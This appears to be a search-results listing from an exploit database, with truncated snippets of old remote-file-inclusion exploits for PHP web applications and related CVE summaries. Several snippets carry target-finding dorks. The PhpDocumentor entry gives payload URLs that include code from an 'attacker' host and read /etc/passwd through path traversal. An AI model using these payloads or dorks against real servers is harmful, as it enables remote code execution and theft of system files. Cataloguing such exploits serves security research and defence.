421 matches found
phpWebSite <= 0.10.2 (hub_dir) Remote Commands Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "PHPWebSite = 0.10.2 remote cmmnds xctn\r\n"; echo "- arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; i...
phpWebSite <= 0.10.2 (hub_dir) Remote Commands Execution Exploit
Exploit for unknown platform in category web applications ================================================================ phpWebSite arbitrary local inclusion, works with magicquotesgpc = Off\r\n"; echo "by rgod, mail: email protected\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; if...
Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Sphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork:...
Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; print "\r\nSphider = 1.3 arbitrary remote inclusion\r\n" ; print "- works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodATautisticiDOTorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print...
Claroline <= 1.7.4 (scormExport.inc.php) Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Claroline = 1.7.4 "scormExport.inc.php" remote cmmnds xctn\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "- works with registerglobals = On & allowurlfopen =...
Claroline 1.7.4 - scormExport.inc.php Remote Code Execution
Claroline 1.7.4 - scormExport.inc.php Remote Code Execution !/usr/bin/php -q -d shortopentag=on works with registerglobals = On & allowurlfopen = On\r\n\r\n"; echo "dork: "Powered by Claroline" -demo\r\n\r\n"; if $argc5 echo "Usage: php ".$argv0." host path location OPTIONS\r\n"; echo "host:...
Claroline 1.7.4 - 'scormExport.inc.php' Remote Code Execution
!/usr/bin/php -q -d shortopentag=on works with registerglobals = On & allowurlfopen = On\r\n\r\n"; echo "dork: "Powered by Claroline" -demo\r\n\r\n"; if $argc5 echo "Usage: php ".$argv0." host path location OPTIONS\r\n"; echo "host: target server ip/hostname\r\n"; echo "path: path to...
DocMGR <= 0.54.2 arbitrary remote inclusion
--------------- DocMGR = 0.54.2 arbitrary remote inclusion -------------------- software: site: http://www.docmgr.org/ description: "DocMGR is a complete, web-based Document Management System DMS. It allows for the storage of any file type, and supports full-text indexing of the most popular...
docmgr_0542_incl_xpl
--------------- DocMGR Results For "".$searchString."" "; $option = null; if defined"USELDAP" if defined"GLOBALADMIN" $option"searchbase" = LDAPBASE; else $option"searchbase" = SEARCHBASE; //create our sear...
RunCMS <= 1.2 (class.forumposts.php) Arbitrary Remote Inclusion Exploit
Exploit for unknown platform in category web applications ======================================================================= RunCMS = 1.2 class.forumposts.php Arbitrary Remote Inclusion Exploit ======================================================================= ?php ---runcms13axpl.php...
RunCMS <= 1.2 (class.forumposts.php) Arbitrary Remote Inclusion Exploit
No description provided by source. ?php ---runcms13axpl.php 17.30 09/02/2006 RunCMS = 1.2 arbitrary remote inclusion exploit " = 1.3a shell upload through FCKEditor coded by rgod site: http://retrogod.altervista.org usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: "But when...
loudblog_04_incl_xpl.txt
------------- LoudBlog -------------------------------------------------------------------- exploit: ?php ---loudblog04inclx...
LoudBlog <= 0.4 arbitrary remote inclusion
------------- LoudBlog = 0.4 arbitrary remote inclusion ----------- software: site: http://loudblog.de/ description: "Loudblog is a sleek and easy-to-use Content Management System CMS for publishing media content on the web. It automatically generates a skinnable website and an RSS-Feed for...
LoudBlog <= 0.4 (path) Arbitrary Remote Inclusion Exploit
Exploit for unknown platform in category web applications ========================================================= LoudBlog LoudBlog 4.0 remote commands execution meta http-equiv="Content-Type" content="text/html;...
phpdocumentor_130rc4_incl_expl.txt
---- PhpDocumentor also, if magicquotesgpc off: http://target/pathtophpdocumentor/Documentation/tests/bug-559668.php?FORUMLIB=http://attacker/script.txt%00 http://target/pathtophpdocumentor/Documentation/tests/bug-559668.php?FORUMLIB=../../../../../../../etc/passwd%00...
PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion
---- PhpDocumentor = 1.3.0 rc4 Arbitrary remote/local inclusion --- software: site: http://www.phpdoc.org/ description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu, is the current standard auto-documentation tool for the php language. Similar to Javadoc, and written in php,...
DEBIAN-CVE-2005-3299
PHP file inclusion vulnerability in grabglobals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $redirect parameter, possibly involving the subform array...
MySource 2.14 - Date.php?PEAR_PATH Remote File Inclusion
MySource 2.14 - Date.php?PEARPATH Remote File Inclusion source: https://www.securityfocus.com/bid/15133/info MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may...
CVE-2005-1526
PHP remote file inclusion vulnerability in configsettings.php in Cacti before 0.8.6e allows remote attackers to execute arbitrary PHP code via the configincludepath parameter...
CuteNews 0.88 - 'search.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/6935/info CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers. Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an extern...